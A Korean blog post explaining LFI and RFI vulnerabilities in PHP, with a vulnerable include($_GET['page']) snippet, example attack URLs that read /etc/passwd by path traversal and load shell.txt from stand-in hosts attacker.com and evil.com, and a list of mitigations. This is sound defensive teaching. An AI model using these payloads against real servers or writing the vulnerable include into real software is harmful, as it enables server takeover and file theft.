LFI, RFI

agnusdei·2025년 5월 17일
0

LFI(Local File Inclusion)는 웹 애플리케이션 취약점 중 하나로, 사용자가 입력한 값을 기반으로 서버 내의 파일을 불러올 수 있을 때 발생하는 취약점입니다. 공격자가 이를 악용하면, 서버 내의 민감한 파일을 읽거나 악성 스크립트를 실행시킬 수 있습니다.


1. LFI의 동작 원리

웹 애플리케이션에서 특정 파일을 불러오기 위해 다음과 같은 코드가 있다고 가정합니다:

<?php
  $page = $_GET['page'];
  include($page);
?>

정상적인 요청:

http://example.com/index.php?page=home.php

공격적인 요청:

http://example.com/index.php?page=../../../../etc/passwd

이렇게 되면 서버의 /etc/passwd 같은 민감한 파일이 노출될 수 있습니다.


2. LFI의 위험성

  • 서버 파일 노출: /etc/passwd, 설정 파일 등
  • 로그 파일 포함 공격 (Log Poisoning): 공격자가 로그에 PHP 코드를 심고 LFI로 실행 가능
  • 세션 하이재킹: 세션 파일을 읽어서 세션 탈취
  • 원격 코드 실행 (RCE): 특정 조건에서는 RCE로 발전할 수 있음

3. LFI와 RFI의 차이

항목LFIRFI
이름Local File InclusionRemote File Inclusion
차이점서버 내의 파일을 포함외부 서버의 파일을 포함
위험도보통더 위험 (외부 코드 실행 가능)

4. 방지 방법

  • 사용자 입력값 검증 (화이트리스트 방식)
  • 파일 경로에 고정된 값만 허용
  • include, require 대신 안전한 라우팅 사용
  • 웹 서버 권한 최소화 (민감 파일 접근 제한)

**RFI(Remote File Inclusion)**는 원격 파일 포함 취약점으로, 웹 애플리케이션이 외부에서 호스팅된 악성 파일을 불러와 실행할 수 있는 보안 취약점입니다. PHP와 같은 서버 사이드 스크립트 언어에서 주로 발생합니다.


1. RFI의 동작 원리

웹 애플리케이션에서 다음과 같은 코드가 있다고 가정:

<?php
  $page = $_GET['page'];
  include($page);
?>

공격 요청:

http://example.com/index.php?page=http://attacker.com/shell.txt

이렇게 되면 attacker.com에서 제공하는 PHP 코드가 서버에서 실행되어, 공격자가 서버를 완전히 제어할 수 있습니다.


2. RFI의 위험성

  • 원격 코드 실행 (RCE): 공격자가 서버에서 악성 PHP 코드 실행
  • 웹 셸 업로드: 공격자가 백도어 설치
  • 데이터 유출: 데이터베이스나 서버 파일 접근
  • 서버 장악: 권한 상승, 시스템 명령 실행 등

3. RFI vs LFI

항목RFI (Remote File Inclusion)LFI (Local File Inclusion)
포함 대상외부(원격)의 파일로컬(서버 내부)의 파일
실행 가능성PHP 코드 실행 가능코드 실행은 조건부
위험 수준매우 높음보통~높음
예시http://example.com/index.php?page=http://evil.com/shell.txthttp://example.com/index.php?page=../../etc/passwd

4. RFI 방지 방법

  • allow_url_include, allow_url_fopen 설정 비활성화

    allow_url_include = Off
    allow_url_fopen = Off
  • 사용자 입력값 검증 및 필터링

  • 정적 파일 목록 사용 (화이트리스트 방식)

  • 동적 파일 포함 대신, 라우팅/템플릿 엔진 사용

  • 웹 애플리케이션 방화벽(WAF) 활용


RFI는 실제 서버 장악으로 이어질 수 있기 때문에, 발견 즉시 수정하고 서버 보안 점검을 수행해야 합니다.

profile
DevSecOps ⚙️ + Pentest 🚩

0개의 댓글